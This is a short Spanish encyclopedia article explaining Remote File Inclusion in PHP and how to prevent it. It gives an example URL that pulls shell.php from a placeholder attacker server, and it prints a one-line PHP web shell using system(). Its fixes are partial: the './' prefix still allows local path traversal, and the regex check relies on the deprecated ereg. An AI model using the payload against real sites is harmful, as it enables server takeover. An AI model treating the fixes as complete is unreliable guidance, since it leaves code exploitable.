RFI
De Wikipedia, la enciclopedia libre
RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().
Este tipo de vulnerabilidad no se da en páginas programas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.
[editar] Resumen del ataque
La función include() es utilizada para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.
Una página vulnerable que presente un aspecto similar a este en su URL:
http://[servidor_victima]/index.php?page=plantilla.html
El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:
http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.php
Pudiendo contener el archivo shell.php cualquier código, por ejemplo:
<? system($cmd); ?>
[editar] Detener el ataque
Para detener este tipo de ataques, el programador en php jamas debe cometer el error de colocar una variable dentro de un include. Ejemplo:
<? include ($url); ?>
Prevenir el Ataque (by AzzCoder)
Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:
<? include ("./".$_GET['page']); ?>
De esta forma no podría utilizar la variable page para RFI.
Otra Solución (by pyr0)
Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.
<? if (!ereg('^[^./][^/]*$', $url)) die('Error. intento de RFI..'); else include ($url); ?>
Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.